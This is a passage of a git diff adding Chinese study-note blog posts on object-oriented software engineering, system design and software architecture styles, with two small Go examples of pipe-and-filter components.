+面向对象方法是一种运用对象、类、继承、封装、聚合、关联、消息、多态性等概念来构造系统的软件开发方法。 +面向对象方法的解决问题的思路是**从现实世界中的客观对象**(如人和事物)入手,尽量运用人类的自然思维方式来构造软件系统,这与传统的结构化方法**从功能入手**和信息工程化方法从信息入手是不一样的。 + +2.面向对象的基本思想是什么? +答: +「1」从现实世界中客观存在的事物出发米建立软件系统,强调直接以问题域<现实世界)中的事物为中心来思考问题、认识问题,并根据这些事物的本质特征,把它们抽象地表示为系统中的对象,作为系统的基本构成单位。这可以使系统直接映射问题域,保持问题域中事物及其相互关系的本来面貌(对象) +「2」用对象的属性表示事物的性质;用对象的操作表示事物的行为。(属性与操作) +「3」对象的属性与操作结合为一体,成为一个独立的、不可分的实体,对外屏蔽其内部细节。(对象的封装) +「4」对事物进行分类。把具有相同属性和相同操作的对象归为一类,类是这些对象的抽象描述,每个对象是它的类的一个实例。(分类) +「5」复杂的对象可以用简单的对象作为其构成部分。(聚合〕 +「6」通过在不同程度上运用抽象的原则,可以得到较一般的类和较特殊的类。特殊类继承一般类的属性与操作,从而简化系统的构造过程及其文档。(继承) +「7」对象之问通过消息进行通讯,以实现对象之间的动态联系。 +(消息) +「8」通过关联表示类(一组对象)之间的静态关系。(关联) + +2.与传统开发方法比,面向对象方法有什么优点? +答: +面向对象方法的解决问题的思路是从现实世界中的客观对象(如人和事物)入手,尽量运用人类的自然思维方式来构造软件系统,这与传统的结构化方法从功能入手和信息工程化方法从信息入手是不一样的。 +与传统方法相比,面向对象的方法主要优点有: +「1」从认识论的角度可以看出,面向对象方法改变了人们认识世界的方式; +「2」语言的发展-鸿沟变窄: +「3」面向对象方法使得从问题域到计算机间的鸿沟变窄; +「4」 面向对象方法有助于软件的维护与复用; +「5」把易变的数据结构和部分功能封装在对象内并加以隐藏,一是保证了对象行为的可靠性;二是对它们的修改并不会影响其他的对象,有利于维护,对需求变化有较强的适应性。 +「6」封装性和继承性有利于复用对象。把对象的属性和操作拥鄉在一起,提高了对象(作为模块)的内聚性,减少了与其他对象的男合,这为复用对象提供了可能性和方便性。在继承结构中,特殊类对一般类的继承. + +3.什么是面向对象? +答: +面向对象不仅是以些具体的软件开发技术与策略,而且以一套关于如何看待软件系统与现实世界的关系,以什么观点来研究问题并进行求解,以及如何进行系统构造的软件方法学。 + +4.软件开发方法学的基本方法有哪些? +答:面向对象方法学。UML RUP,XP + +5.为什么需要 OOA、OOD。 + +答: +OOA就是运用面向对象的方法进行需求分析,OOA 加强了对问题域和系统责任的理解,有利于人员之间的交流,对需求变化的适应性较强,很好的支特软件复用。 +OOD就是运用面向对象的方法进行系统设计,0OD.符合人们习惯的思维方法,便于分解大型的复杂多变的问题:易于软件的维护和功能的增减:可重用性好;与可视化技术相结合,改善了工作界面。 + +6.从概念层次、规格层次、实现层次三个角度如何理解对象的概念? + +答: +从概念层次来看,一个对象就是一系列的责任; +从规格层次来看,一个对象是一系列可以被其他对象或该对象自己调用的方法: +从实现层次来看,一个对象是一些代码和数据。 + +7. diff --git a/_posts/2023-5-24-test-markdown.md b/_posts/2023-5-24-test-markdown.md new file mode 100644 index 000000000000..7bbf69fe205d --- /dev/null +++ b/_posts/2023-5-24-test-markdown.md @@ -0,0 +1,371 @@ +--- +layout: post +title: 面向对象软件工程 +subtitle: +tags: [软件工程] +comments: true +--- + +1.理解如下术语:子系统;类;服务;子系统接口;耦合;内聚;分层;划分;软件体系结构;软件体系结构风格;构件;逻辑构件;物理构件。 + +- 子系统:一个较大的软件系统可以被划分为若干个相互独立的子系统,每个子系统专注于解决某一特定的问题域。 + +- 类:一个类是一个抽象的概念,用于描述某一类具有相同属性和方法的对象。 + +- 服务:服务是用来完成某种功能或提供某种服务的可交互软件模块,它们通常通过网络进行通信,并且具备良好的灵活性和可扩展性。 + +- 子系统接口:子系统接口定义了子系统与其他系统或子系统之间的通信协议和数据格式,以及访问子系统所需的权限和凭证。 + +- 耦合:耦合指两个或多个软件组件之间的关系,如果这些组件彼此依赖程度高,那么它们就是紧密耦合的。 + +- 内聚:内聚指一个软件组件内部各个模块之间的联系程度,如果这些模块都是为实现同一目标而存在的,那么它们就是高内聚的。 + +- 分层:分层是一种常见的软件体系结构,在这种结构中,整个系统被分为若干层,每层都提供一定的服务并消费下一层提供的服务。 + +- 划分:系统划分是将系统按照一定规则切分为若干个模块或子系统的过程,其目的是提高软件的可维护性、可扩展性和可重用性。 + +- 软件体系结构:软件体系结构是指系统中各个组件之间的关系及其约束条件,包括组件的种类、属性、接口、交互方式等。 + +- 软件体系结构风格:软件体系结构风格是指一种特定的软件体系结构模式,它包含了一些常见的组件类型、连接方式和通信规则。 + +- 构件:构件是系统中的一个模块或部件,它可以被单独设计、开发、测试和部署,并且具有明确的职责和接口。 + +- 逻辑构件:逻辑构件是指系统中的一个抽象概念,表示系统中的某个功能单元,例如订单管理、库存管理等。 + +- 物理构件:物理构件是指系统中的一个具体实现单元,例如一个独立的服务器、一个数据库等。 + +2.如何理解“有两种构造系统设计的方法:一是使设计足够简单以至不存在明显的缺陷,二是使系统足够复杂以至不存在明显的缺陷。” + +这句话表达了一个经典的软件设计哲学,即:设计应该足够简单以至于很难出现明显的缺陷,但同时也要足够复杂以至于很难出现明显的缺陷。 + +第一部分强调了在设计阶段应该尽可能地去简化系统结构和逻辑,遵循KISS(Keep It Simple, Stupid)原则来排除设计中的常见错误和漏洞。在这种情况下,开发人员需要关注基本的问题和需求,并且尽量避免使用过度复杂的解决方案。这将有助于减少代码错误与问题。 + +而第二部分则意味着,尽管设计必须简单(因为简单性更易维护和修改),但是设计不能过于简单。如果系统设计过于简单,那么就会存在各种风险和漏洞点,容易被攻击者利用或出现其他未知问题,因此对系统进行更多的测试、修复和改进是非常必要的。 + +因此,在软件工程中,我们应该寻求一个平衡点,使得软件系统简单、高效、易于扩展和维护,同时还能覆盖大部分使用场景,实现核心功能,确保系统安全性。 + +3.简述什么是系统设计? + +系统设计是指在开发软件或硬件系统时,对系统进行规划和设计的过程。 + +4.系统设计与算法有关,对吗? + +系统设计中,需要考虑到许多方面的算法,包括但不限于数据结构、搜索算法、排序算法、分布式算法、存储算法等等,这些算法是实现系统功能所必需的。 + +5.系统设计中要考虑的选择需面对什么样的状态? + +- 正常状态:系统正在以正常的方式运行,没有出现错误或异常状况。 +- 边界状态:系统处于某个边缘条件,例如输入数据接近极限值、网络带宽达到最大值等等。 +- 异常状态:系统出现了某种错误或异常情况,例如文件读取失败、数据库连接中断等等。 +- 并发状态:系统需要支持多个并发请求,要确保线程安全和资源共享正确性。 +- 扩展状态:系统需要支持扩展,能够容易地添加新的功能、处理更多的数据或支持更多的用户。 + 可维护状态:系统需要易于维护,代码结构清晰,注释完善,易于修改和扩展。 +- 安全状态:系统需要具备安全性,能够防止恶意攻击和数据泄漏等问题。 + +6.简述系统设计中的主要活动。 + +需求分析:对用户需求与项目目标进行分析,定义系统范围和功能需求。 + +概念设计:制定系统的整体架构和组成部分,确定模块之间的关系以及数据流向。 + +详细设计:对每个组成部分进行详细设计,包括算法实现、数据结构、界面设计等方面。 + +构建和测试:根据设计方案进行编码实现,随后进行单元测试、集成测试和系统测试等多个阶段的测试,确保系统性能和稳定性。 + +部署和维护:将系统发布到生产环境中运行,并进行维护和升级,包括故障排除、安全保证、性能优化等方面。 + +文档编写:撰写代码注释、用户手册、技术文档等相关文档,方便项目管理和技术支持。 + +团队协作:系统设计过程需要多个角色协同配合完成,如项目经理、需求分析师、架构师、开发人员、测试人员、文档编写人员等,需要高效沟通和合作。 + +7.与系统设计过程的设计对象模型相比,分析对象模型不包含什么? + +- 技术实现细节,如具体的算法、数据结构、编码方式等。 + +- 物理结构和部署方案,如服务器数量、数据中心布局等。 + +- 界面和交互设计细节,如颜色、字体、图标等。 + +- 安全性和质量保证方案,如访问控制策略、性能优化方案等。 + + +8.简述系统设计的输入 + +- 需求分析文档:系统设计的基础是对业务需求的理解和分析。 +- 分析对象模型:分析对象模型是对业务需求进行抽象和概括的产物。 +- 技术选型方案:系统设计需要考虑到可行的技术实现方案 +- 前期研究报告:如系统架构方案、原型实现、用户反馈等的前期研究成果。 +- 约束条件:如时间、预算、组织结构、法律法规等方面的限制和约束条件 +- 各类标准和规范:如安全标准、质量管理规则、编码规范等 + +9.简述系统设计的输出 + +- 系统架构图:系统架构图是系统设计的核心产物,它可以清晰地呈现出系统各个组成部分之间的关系和流程。 + +- 详细设计文档:详细设计文档会对每一个模块的功能、使用场景、前置条件、输入输出等进行详细说明,是开发人员实现系统所需的重要参考资料。 + +- 数据库设计文档:在系统设计过程中需要对数据存储方案进行设计,在数据库设计文档中可以定义各类数据库对象、表结构、索引等详细信息。 + +- 用户手册:用户手册是面向最终用户的说明书,用于介绍系统的功能、特性和使用方法。 + +- 测试计划和测试报告:测试计划旨在确保系统质量,并对系统进行全面的测试,测试报告则总结测试的结果和问题,并提供优化建议。 + +- 运维手册和操作指南:运维手册是面向系统管理员的说明书,使用操作指南则对系统的安装、部署、维护等方面进行详细说明。 + +10.简述设计目标 + +- 功能目标:即设计方案需要实现的功能特性,对于不同的应用场景,系统所需的功能也会有所不同。功能目标通常由产品经理和需求分析师等角色来确定。 + +- 性能目标:性能是系统设计的一个重要方面,性能目标可以包括响应时间、吞吐量、并发用户数等指标,这些指标与系统的使用场景、用户数量、负载等因素有关。 + +- 可用性目标:可用性是指软件在操作过程中对用户的友好程度,包括界面设计、文档说明、错误提示、状态反馈等方面。可用性目标通常是通过用户研究和测试来确定的。 + +- 安全目标:随着互联网的普及,软件的安全问题越来越受到关注。安全目标包括系统的身份认证、授权管理、数据保护等方面。 + +- 可维护性目标:软件开发完成后还需要进行维护,因此在设计时也需要考虑可维护性。可维护性目标包括代码易读性、可扩展性、可测试性等方面。 + +- 可靠性目标:可靠性指系统对于外部干扰的能力,包括容错性、可恢复性等。可靠性目标通常由系统管理员和运维人员等角色来确定。 + +11.设计目标怎样获取? + +需求讨论:在系统设计之前,产品经理和需求分析师等角色需要与用户和利益相关者充分沟通,获取需求信息,并整理出详细的需求文档。 + +12.系统设计活动的主题是什么? + +- 确定系统需求:在系统设计活动开始之前,需要明确系统的重点和要求,通过对用户需求和利益相关者意见进行调查和收集,以便明确系统设计的关键点。 + +- 定义系统体系结构:根据所需功能和性能指标,定义出系统的总体结构和组成部分。其中包括系统框架、数据流程、数据存储、用户界面等。 + +- 分析系统特性:根据用户需求和利益相关者意见,对系统功能、安全、稳定性、易用性等特性进行详细分析,并制定相应的设计目标。 + +- 选择技术方案:根据系统特性和需求,评估不同技术方案的优缺点,并选出最适合的技术方案。 + +- 细化设计:在确定了总体设计方案和技术方案之后,进一步细化系统设计,包括技术细节的研究、系统算法的实现、模块的接口设计等。 + +- 验证测试:在完成系统设计之后,进行相应的验证和测试,确保系统符合预期的特性和性能指标。 + + +13.简述软件体系结构。 + +软件体系结构指的是一个软件系统整体上的组成部分,以及这些组成部分之间的相互关系、交互方式和接口规范 + +- 模块划分:将系统按照功能或业务逻辑分成若干个模块。 +- 模块之间的关系:定义模块之间的依赖、调用顺序以及数据交换等规则。 +- 外部接口:定义系统与外界的接口,包括输入输出、网络连接等。 +- 运行时配置:为了保证系统的可扩展性和灵活性,在软件体系结构中需要考虑运行时配置,包括负载均衡、容错机制、自动伸缩等。 +- 可靠性和安全性:为了确保软件系统稳定可靠,软件体系结构也需要考虑安全性、故障处理等问题。 + +- 性能:在软件系统设计中需要根据实际需求考虑系统的性能特点,如响应时间、吞吐量、并发度等。 + + +14.简述边界用例 + +边界用例指的是在软件系统中考虑到极端情况下的处理方式,即输入值接近或超出可接受范围时需要采取的措施 + +15.解释图6-2 + + 系统设计需要考虑非功能性需求,动态模型,分析对象模型,生成设计目标和子系统分解。 + + 对象设计则需要考虑设计目标,子系统分解,生成对象设计模型。 + + 分析生成动态模型和分析对象模型。 + +16.描述针对“紧急事故响应信息系统”的设计,描述各个接口子系统的主要功能,并用UML构件图给出该系统的设计(分解)结论。 + + +报警接口:负责接收来自各种监测设备、传感器等的数据,并对异常情况进行检测和报警。 + +应急指挥接口:负责协调各个部门之间的信息交流和指挥安排。 + +数据平台接口:负责存储和处理大量的数据,包括历史数据、图像数据等。 + +实时视频监控接口:负责为指挥人员提供实时视频监控画面,以帮助其了解现场情况。 + +移动终端接口:负责为第一线应急人员提供移动式终端设备,以方便其及时掌握和反馈相关信息。 + + + +17.Web Service中负责提供通知服务涉及的相关操作定义。 + +在Web Service中,负责提供通知服务的相关操作定义可以使用以下两种协议来实现: + +Simple Mail Transfer Protocol(SMTP):该协议允许Web Service通过电子邮件向用户发送通知消息。为了使用SMTP协议,Web Service需要支持SMTP服务器,并能够通过SMTP客户端将通知消息发送到指定的用户邮箱中。 + +Short Message Service(SMS):该协议允许Web Service通过短信向用户发送通知消息。为了使用SMS协议,Web Service需要支持SMS网关,并能够通过SMS客户端将通知消息发送到指定的手机号码中。 + + + +18.简述子系统接口要描述的内容。 + +接口名称:描述该接口的名称,便于识别和管理。 + +功能描述:描述该接口提供的功能和特性,以及与其他模块之间的关系等。 + +输入参数:描述该接口需要接收哪些输入参数,并说明每个参数的含义和数据类型等。 + +输出参数:描述该接口需要返回哪些输出参数,并说明每个参数的含义和数据类型等。 + +异常处理:描述该接口可能出现的异常情况及对应的处理方式,以确保系统能够在出现故障时正确地恢复运行。 + +数据格式:描述该接口所使用的数据格式和数据结构,以确保不同模块之间能够正确地解析和处理数据。 + +接口调用方式:描述该接口的调用方式和调用规范,包括调用方法、传递方式、安全性等。 + +接口版本:描述该接口的版本信息,以便系统可以支持不同版本的接口,同时也方便跟踪和维护。 + + +19.如何用UML构件图描述由现场工作人员接口子系统、调度者接口子系统和资源管理子系统之间的依赖关系。 + + + +20.本教程中的软件体系结构风格包括哪些内容?【系统分解;全局控制流;边界条件处理;子系统之间的通信协议】 + +系统分解:将系统划分为多个相互独立的、可重用的部件,以便于系统的管理和开发。 + +全局控制流:描述系统中各个部分之间的交互和通信方式,以及它们之间的数据流向。这有助于开发人员理解系统中的整体结构和功能。 + +边界条件处理:描述系统与外部环境之间的接口,如用户界面、数据库、网络连接等。这样可以确保系统能够正确地处理各种输入和输出。 + +子系统之间的通信协议:定义了系统中各个部分之间的通信规则和通信协议,以确保它们能够正确地交互并实现系统的功能。这样可以提高系统的可维护性和可拓展性。 + +21.简述分层风格(包括封闭式分层结构和开放式分层结构;三层风格;四层风格)(词汇表;不变性;计算原理;典型结构;优缺点;典型应用场景;特例)。 + 分层风格是一种常见的软件体系结构风格,它将系统划分为多个逻辑层次,并将每个层次之间的关系定义清楚。此风格有多种实现方式,包括封闭式分层结构、开放式分层结构、三层风格和四层风格。 + +封闭式分层结构 + +词汇表 +封闭式分层结构(Closed Layered Architecture):所有的模块被分成固定数量的层次,各层之间只能通过预定义的接口进行通信。 +沉淀物(Deposition):数据访问和处理逻辑被封装在一起,并放置在专用层中。 +应用程序接口(API):接口规范,应用程序可以使用这些规范来与下面的层进行交互。 +密封(Encapsulation):组件不直接依赖于其他组件,而是通过 API 进行操作。 +协议(Protocol):规定了各层之间传递信息的格式和步骤。 +不变性 +层数固定:封闭式分层结构规定了层数的固定数量,不能加或减。 +对单一职责原则(SRP)的支持:每个层都会负责一个独特的功能,并且每个层只与下一层通信,这有助于实现对 SRP 的支持。 +稳定性:稳定性良好,在拓展新功能或修改现有功能时不会影响其他层的工作。 + +计算原理 +封闭式分层结构将整个系统划分为固定的几个层次,每个层次都有自己的任务和职责,同时又与其他层次进行交互。例如,界面层、业务逻辑层、数据访问层等,可以通过 API 进行通信。每个组件都只知道它下层组件的接口,而不用关心下层组件的具体实现。 + +封闭式分层结构 + +每个矩形代表一个层次,底部的层是数据库层,最上面的层位于应用程序的顶部。每个层次都包含了其所需的库和模块,并向上提供了必要的服务。 + +优缺点 +优点 +结构清晰:极大地降低了系统的复杂度,使其易于维护。 +易于升级:如果需要添加新功能或修改现有功能,可以很容易地实现升级。 +易于测试:层与层之间接口明确定义,让测试更加高效和容易维护。 +缺点 +系统失去弹性:每个层之间的关系都是静态的。由于层数固定,无法根据需求进行动态添加或减少,可能会导致系统失去弹性和扩展性。 +性能损失:由于数据必须通过多个层来传递,因此封闭式分层结构可能会对性能产生负面影响。 +过度设计:在处理小型项目时,封闭式分层结构可能会过度设计,并增加复杂性及开发时间。 +典型应用场景 +封闭式分层结构通常适用于需要支持多种协议和数据源的应用程序,例如企业级 web 应用程序、电子商务网站、嵌入式系统、后端服务器等。 + +特例 +目前封闭式分层结构已不再是一种普遍使用的软件体系结构风格。但是,其思想仍然应被理解和掌握。 + +开放式分层结构 +词汇表 +开放式分层结构(Open Layered Architecture):所有的模块被分成可选数量的层次,各层之间可以通过预定义或自定义的接口进行通信。 +过程(Procedure):定义了一个模块或组件上执行的任务。 +插槽(Slot):插槽是一种逆向调用机制,可用于在运行时动态扩展开放式分层结构中包含的功能。 +中介者(Mediator):用来协调不同层级之间的交互和传输。 +服务(Service):提供特定的功能和方法集合的抽象。 +不变性 +层数可变:与封闭式分层结构相比,开放式分层结构支持层数可变,可以根据需求动态添加或减少层次。 +计算原理 +开放式分层结构中,每个层次都有自己的职责和任务,并可与下面的层次进行交互。由于所有层次都可选,因此可以为需要的场景定制相应的架构。除了系统核心层、数据存储层和 UI/界面层等常见层次,还可以添加其他层次,如远程存储设备、消息队列、安全认证等。 + +而当需要动态增加层次时,可以使用插槽和反射等技术实现。 + +典型结构 +开放式分层结构中,各层之间的关系是动态可变的。 + +开放式分层结构 + +优缺点 +优点 +灵活性高:架构灵活,适用于不同类型的项目和场景。 +可拓展性良好:支持层数的增加和减少,能够更好地适应变化的业务需求。 +易维护:模块化设计和可重用组件提高了系统的可维护性。 +缺点 +结构复杂:每个层次都是相对独立的,需要严格定义它们之间的通信协议和规则。 +可扩展性过度:如果没有很好地识别和规划,在添加太多新层后会导致系统变得过分复杂,甚至失去其可读性和可维护性。 +性能问题:由于所有数据必须通过多个层来传递,因此可能会影响系统的性能。 +典型应用场景 +当应用程序需要为多种设备或平台提供支持时,开放式分层结构非常有用。开放式分层结构常用于网络应用程序、大型企业级应用程序、游戏引擎等。 + +特例 +开放式分层结构具有较高的灵活性和可伸缩性,可以根据需求动态地添加和删除层次。这种架构风格使得开发人员能够为不同类型和规模的项目选择合适的架构方案,但是随着系统越来越复杂,需要谨慎设计和规划 + +22.简述仓库风格。(如HEARSAY II语音理解系统,给出一种系统的结构,描述该结构的计算原理) + +仓库风格是一种软件架构风格,也被称为数据中心风格或数据共享风格。它的核心思想是将数据作为应用程序的中心,应用程序通过使用已经存在的数据来完成自己的功能。这种架构风格可以使得数据在整个系统中得到很好地重用,并且能够实现松散耦合的组件之间的交互。 + +HEARSAY II语音理解系统是一个利用仓库风格设计的语音识别系统。该系统的结构可以分为三部分:前端处理、仓库和后端处理。其中前端处理模块负责从声学信号中提取特征,将其转换成机器可读的格式。仓库模块是系统的核心,负责存储和管理所有的语言知识,如字典、句法规则和语义知识等。后端处理模块则根据前端处理模块提供的特征以及仓库模块中的知识,进行识别和理解过程,最终生成文本输出。 + + +计算原理是将所有的数据集中存储和管理,以便各个组件可以方便地访问和使用这些数据。在仓库风格中,数据被视为应用程序的中心,通过使用已经存在的数据来完成自己的功能。当一个组件需要访问数据时,它只需要从仓库中获取所需的数据,而不需要了解数据的来源或者细节实现方式,从而实现了组件之间的松散耦合。这种架构风格也利于系统的维护和扩展,因为新增数据可以直接添加到仓库中而无需对其他组件进行太多的修改。 + +23.简述MVC风格。 + MVC(Model-View-Controller)是一种常见的软件架构风格,将应用程序分成三个相互独立的部分:数据模型(Model)、视图(View)以及控制器(Controller)。 + +Model层:负责处理应用程序中使用的数据,通常包括从数据库或其他数据源检索数据的代码,也可以包括允许创建、读取、更新和删除数据的代码。 + +View层:负责呈现数据及与用户进行交互的界面,通常使用HTML、CSS和JavaScript等语言来构建网页或移动应用的用户界面。 + +Controller层:负责调度和管理应用程序中的各个组件,接收和处理用户输入、调用model层来更新数据、决定哪些view需要呈现给用户。 + +24.简述C/S风格。 + +Client层:负责呈现数据及与用户进行交互的界面,通常是桌面应用程序、Web浏览器或移动应用程序等。 + +Server层:负责处理客户端请求并提供服务,通常包括数据存储和管理、业务逻辑处理、安全性、 以及与其他服务的交互等。 + +25.简述B/S风格 + +Browser层:负责呈现数据及与用户进行交互的界面,通常是基于浏览器的Web应用程序。 + +Server层:负责处理客户端请求并提供服务,通常包括数据存储和管理、业务逻辑处理、安全性、 以及与其他服务的交互等。 + +26.简述对等风格。 + +对等风格也被称为点对点网络(P2P),是一种去中心化的网络架构模式。在对等网络中,所有计算机都可以做出相同的贡献,没有中心节点来控制整个网络。相比之下,传统的客户端/服务器架构则包含一个中央服务器用于管理和协调网络中的所有请求。 + +27.简述管道过滤器风格。 + +管道过滤器风格(Pipe and Filter Architecture Style)是一种基于数据流的软件架构模式,它通过将处理数据的组件拼接成管道来处理输入数据流。 + +这个架构模式中,最基本的部分是过滤器(Filter),它是一个独立的处理组件,负责对输入数据进行某种特定类型的转换、过滤或处理操作,并将结果输出到一个输出端口。管道(Pipe)则将输入数据流传递到经过多个过滤器处理之后的输出端口。每个过滤器专门处理一种类型的数据,所以不同类型的过滤器可以按照需要组合起来构建更为复杂的数据转换和处理流程。 + +28.简述如下术语。接口;签名;可见性;契约;不变式;前置条件;后置条件。 + +- 接口(Interface): 接口定义了类或对象的公共方法和属性,提供了一种规范化的方式来与这些对象进行交互。通过接口,我们可以将实现细节隐藏起来,并提供一个抽象的视图来描述对象的功能。 + +- 签名(Signature):方法的签名包括方法名称、参数列表以及返回值类型,在 Java 中还包括方法的修饰符。每个方法都有一个唯一的签名,用于区分重载方法。 + +- 可见性(Visibility):指的是类中的成员(字段、方法和嵌套类)对于其他类是否可见。Java 中,我们可以使用 public、protected、private 和 default(即没有修饰符) 来控制成员的可见性。 + +- 契约(Contract):契约是一组规则,定义了如何正确地使用代码库中的类、接口和方法。在设计和编写代码时,我们需要明确方法的行为,并定义清楚它们所期望的输入和输出。契约包括前置条件、后置条件和不变式。 + +- 不变式(Invariant):不变式是一种约束条件,它应该始终为真。类似于接口,不变式也是一种契约,它规定了代码中某个条件的限制条件。在类中的某个操作之前和之后,不变式应该始终保持为真。 + +- 前置条件(Precondition):前置条件是指方法在执行之前必须满足的所有条件。如果前置条件无法满足,则该方法应该抛出一个异常。 + +- 后置条件(Postcondition):后置条件是指方法执行之后,一组应该始终满足的条件。通常通过方法的返回值或修改过的对象状态来表示。 + +29.以台球系列赛为例,找出该比赛中的不变式,说明接收一名选手方法的前置条件和后置条件。 + +所有比赛中,两位选手的得分之和应该始终等于预期总分数 +在这个不变式下,接收一名选手方法的前置条件包括: + +该选手尚未参加比赛 +比赛尚未开始 +参赛人数尚未达到最大限制 +而该方法的后置条件则包括: + +选手已成功注册参赛 +如果此时已经有足够的选手参加比赛,则自动开始比赛 +如果此时参赛人数已经达到最大限制,则不再接受新的参赛选手 \ No newline at end of file diff --git a/_posts/2023-5-29-test-markdown.md b/_posts/2023-5-29-test-markdown.md new file mode 100644 index 000000000000..7aaab2d1fd3a --- /dev/null +++ b/_posts/2023-5-29-test-markdown.md @@ -0,0 +1,555 @@ +--- +layout: post +title: 软件体系结构 +subtitle: +tags: [软件工程] +comments: true +--- + +## 软件体系结构 + +软件体系结构:常被称为构架或架构,指可预制和可重构的软件框架结构。 软件体系结构=构件+连接件+约束 + +构件:是可预制和可重用的软件部件,是组成体系结构的基本计算单元或数 据存贮单元。 + +连接件:是可预制和可重用的软件部件,是构件之间的连接单元。 + + +约束:用来描述构件和连接件之间的关系。 除了构件,连接件和约束3个最基本的组成元素,软件体系结构还包括端口和角色两种元素。 + +端口(port):每个端口表示了构建和外部环境的交互点。端口是构件与外部世界的一组交互的接口。 + +角色(role):连接件的接口由一组角色组成,连接的每个角色定义了该 连接表示的交互的参与者。 + +``` +软件体系结构::=软件体系模型|软件体系风格 +软件体系模型::=(构件,连接件,约束) +构件::={端口1;端口2;...;端口n} +连接件::={角色1;角色2;...;角色m} +约束::={(端口i,角色j),...} +体系结构风格::={管道过滤器,客户服务器,...,解释器} +``` + +构件(component)是指具有一定功能,可明确辨识的软件单 位,可以是计算单元,也可以是数据单元 + + +#### 构件和类区别和关系 +**构件和类的区别:构件是类的软件实施。类是代表一组属性和操作的抽象实体。类和构件的一个重要关系是:一个构件可以是多个类的实施** + +#### 对构件和构件建模的意义 + +使客 户能够看到最终系统的结构;让开发者有一个目标;让编写技 术文档和帮助文件的技术人员能够理解所写的文档是关于哪方面内容的;**利于重用**等。 + +#### 三种构件 + +部署构件:**已编译和可执行的代码**它形成了可执行系统的基础。例如动态链接库、二进制可执行体、Active X控件等。 + +工作产品构件:**需求规格说明、设计文档、测试用例、源代码**它是部署构件的 来源,如数据文件和程序源代码。 + + +执行构件:执行构件是指可执行系统产生的结果,它们是在运行时根据部署构件和输入数据产生的。执行构件(Execution Component),是可运行系统产生的结果。**执行构件是软件系统的用户界面和输出结果,它们向用户呈现系统的功能和数据。**执行构件包括各种可视化界面、报表、日志文件。 + +#### 连接件的概念 + +复杂的情况下,构件间交互的处理和维持都需要连接件来实现。 + +**常见的连接件有管道(pipe,管道过滤器体系结构中)** +**通信协议或通信机制(客户服务器体系结构中)** + +#### 连接件的特性 + +连接件的主要特性有可扩展性、互操作性、动态连接性和请求响应特性。 + +可扩展性:是连接件允许动态改变被关联构件的集合和交互关系的性质。 + +互操作性:指的是被连接的构件通过连接件对其他构件进行直接或间接操 作的能力 + +动态连接性:即对连接得动态约束,指连接件对不同的所连接构件实施不 同的动态处理方法的能力。 + +请求响应特性:包括响应的并发性,时序性。在并发或并发系统中,多个构件有可能并行或并发地提出交互请求,这 就要求连接件能够正确协调这些交互请求之间的逻辑关系和时序关系。 + +#### 连接件的接口 + +连接件(Connector)是用于连接不同构件之间的抽象软件元素。连接件与所连接构件之间的交互是通过连接件的接口(Interface)来实现的,连接件的接口由一组交互点构成,这些交互点被称为角色(Role)。 + +主动角色是指向连接件发出请求或指令的构件。 +被动角色是指接收连接件请求或指令的构件。 + +#### 约束的概念及特点 + +体系结构约束提供 限制来确定构件是否正确连接,接口是否匹配, 连接件构成的通信是否正确。 + +### 概念 + +软件体系结构是具有一定形式的结构化元素(element),即构件的集合。(SA看成软件设计中的一个层次,且在该层设计属于宏观设计,不会考虑算法与数据结构这些细节内容的设计)**处理构件**、**数据构件**和**连接构件**。处理构件负责数据加工,数据构件是被加工的信息,连接构件把体系结构的不同部分组合连接起来。 + +「将SA中的所有元素均看成构件并将其加以分类,将 构件既看成计算单元,也看成数据(存储)单元,还可 以看成结连单元。」 + +3个构件:处理构件,数据构件,连接构件 +4个视图:概念视图「主要构件及它们之间的关系」,模块视图「功能分解与层次结构」,运行视图『一个系统的动态结构』,代码视图『各种代码和库函数在开发环境中的组织』 + + + +## 软件体系结构风格 + +> 软件体系结构风格是一种通用的、可重复使用的、结构化的体系结构设计模式.常见的软件体系结构风格包括层次结构、客户端-服务器、管道和过滤器、事件驱动、微服务、REST + + +### 管道和过滤器(Pipe and Filter) + +> 将系统分解为一系列能够处理数据流的过滤器,并通过管道将数据流从一个过滤器传递到另一个过滤器,实现对数据流的处理和转换。 + +管道通常是一个缓冲区或队列。 +处理步骤都被封装在一个过滤器组件。 + +``` +设计词汇表 +构件:过滤器。对输入流进行处理、转换,处理后的 结果在输出端流出 +连接件:位于过滤器之间,起到信息流的导管的作用, 被称为管道。 +``` + +``` +案例: +处理或转换输入数据流的系统【注意: 这是一类系统,具体实例如编译器、Word文本编辑器和建模 工具等】,如果把这样的系统作为单个构件来实现是困难的。 + +解决:管道和过滤器体系结构风格。 + +上一个构件的输出是下一个构件的输入,即一个构件中 处理步骤的输出是下一个构件处理步骤的输入。一个处理步骤可由一个过滤器实现,或多个处理步骤也 可由一个过滤器实现,该处理步骤或者处理数据或者转化数据。数据源过滤器和数据池(过滤器)之间通过管道顺序地 连接起来。 +``` +- 后续的过滤器可以从当前过滤器中**取出**数据(被动式过滤器(passive filter)) +- 当前过滤器可向后继过滤器推送新的**输入**数据(被动式过滤器(passive filter) +- 过滤器处于活跃状态,不断地从前面的过滤器中取出 数据流,经过加工后,再向后续的过滤器推送数据。(主动式过滤器(active filter)) + +> 被动式过滤器受函数调用或过程调用的激发而工作 +> 主动式过滤器受独立程序或线程任务的激发而工作。 +```go + +package main + +import "fmt" + +func MaxFilter(data []string) string { + // 被动式过滤器,接收字符串列表并返回最长字符串 + if len(data) == 0 { + return "" + } + maxStr := data[0] + for _, str := range data { + if len(str) > len(maxStr) { + maxStr = str + } + } + return maxStr +} + +func main() { + data := []string{"apple", "banana", "orange", "kiwi"} + result := MaxFilter(data) + fmt.Println(result) +} +``` + +```go +package main + +import ( + "fmt" + "time" +) + +type ActiveFilter struct { + interval time.Duration + callback func() + stopCh chan bool +} + +func NewActiveFilter(interval time.Duration, callback func()) *ActiveFilter { + return &ActiveFilter{ + interval: interval, + callback: callback, + stopCh: make(chan bool), + } +} + +func (f *ActiveFilter) Run() { + ticker := time.NewTicker(f.interval) + defer ticker.Stop() + for { + select { + case <-ticker.C: + // 定时处理数据 + f.callback() + case <-f.stopCh: + // 停止处理数据 + return + } + } +} + +func (f *ActiveFilter) Stop() { + f.stopCh <- true +} + +func main() { + filter := NewActiveFilter(time.Second, func() { + fmt.Println("ActiveFilter is running...") + }) + go filter.Run() + time.Sleep(5 * time.Second) + filter.Stop() + fmt.Println("ActiveFilter stopped.") +} +``` + +数据源: +数据源或者 可主动地把数据推送给过滤器,或者当过滤器需要时被动地提供数据。 + +数据池: +从过滤器收集计算结果并输出。数据池有两类 变种,主动式数据池从过滤器中“拉出”数据,被动式数据池允许其前 